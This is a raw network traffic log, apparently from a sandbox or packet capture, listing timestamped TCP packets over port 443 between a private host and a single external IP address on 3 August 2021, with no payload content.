Aug 3, 2021 20:39:41.204256058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.204288006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.204309940 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.204390049 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.384490013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384557962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384584904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384610891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384632111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384658098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384681940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384701014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384723902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384747982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384776115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384800911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384823084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384829998 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.384845018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384865999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384870052 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.384896994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384917974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384928942 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.384941101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384964943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384985924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.384993076 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385013103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385036945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385041952 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385060072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385082960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385102987 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385104895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385127068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385149002 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385157108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385171890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385196924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385212898 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385221004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385243893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385268927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385273933 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385293961 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385315895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385339022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385348082 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385364056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385390997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385415077 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385416031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385437965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385456085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385464907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385534048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385552883 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385555983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385588884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385610104 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385632038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385662079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.385699987 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.385798931 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565099001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565135002 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565155029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565174103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565193892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565212965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565246105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565262079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565274000 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565277100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565296888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565301895 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565315008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565334082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565351963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565368891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565387964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565401077 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565407038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565428972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565448046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565464020 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565466881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565485954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565504074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565521955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565541029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565546036 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565558910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565588951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565604925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565613985 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565623999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565642118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565660954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565680027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565682888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565704107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565722942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565742016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565746069 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565761089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565778971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565812111 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565881968 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.565968037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.565988064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566003084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566016912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566036940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566056967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566061974 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566071987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566091061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566108942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566124916 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566128016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566147089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566168070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566189051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566191912 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566207886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566226959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566246033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566263914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566282034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566299915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566310883 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566320896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566340923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566346884 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566359043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566376925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566395044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566412926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566431046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566431046 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566448927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566471100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566489935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566508055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566517115 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566528082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566546917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566565037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566581964 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566592932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566596031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566607952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566627026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566641092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566657066 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566659927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566678047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566696882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566715956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566726923 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566737890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566759109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566776991 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566795111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566812038 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566812992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566831112 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566848993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566868067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566889048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566893101 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566910982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566929102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566947937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566966057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.566979885 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.566982985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567003965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567013979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567033052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567051888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567069054 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.567070007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567087889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567105055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567138910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567140102 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.567158937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567173958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567193031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567205906 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.567214012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567234039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567251921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567271948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567274094 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.567295074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567313910 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.567316055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567334890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567346096 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.567351103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567369938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567373037 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.567392111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567410946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567420006 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.567430019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567446947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567462921 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.567466021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.567497015 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.567524910 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.747303009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747344017 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747369051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747392893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747420073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747442961 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747469902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747494936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747518063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747539997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747562885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747585058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747607946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747631073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747658014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747683048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747689962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.747705936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747730970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747750044 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.747755051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747781038 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.747801065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747823954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747845888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747850895 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.747870922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747890949 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.747895002 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747916937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747936010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747948885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747966051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747987032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.747993946 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.748008013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.748022079 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.748030901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.748049021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.748066902 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.748087883 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.748414993 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.748480082 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.927541971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927577972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927597046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927617073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927637100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927655935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927673101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927690983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927730083 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.927738905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927759886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927773952 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.927813053 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.927818060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927838087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927855015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927875042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927892923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927896976 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.927910089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927932978 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.927941084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927953959 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.927958965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.927990913 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928056955 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928072929 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928093910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928111076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928129911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928134918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928148031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928160906 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928164959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928184986 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928196907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928200960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928241968 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928246021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928265095 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928297043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928335905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928353071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928365946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928378105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928412914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928431988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928436041 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928448915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928474903 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928489923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928491116 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928509951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928524971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928570986 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928575039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928591967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928605080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928620100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928639889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928648949 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928653955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928672075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928684950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928693056 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928698063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928715944 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928726912 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928733110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928747892 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928750992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928764105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928781033 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928781986 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928802967 CEST	443	49756	207.241.228.148	192.168.2.4
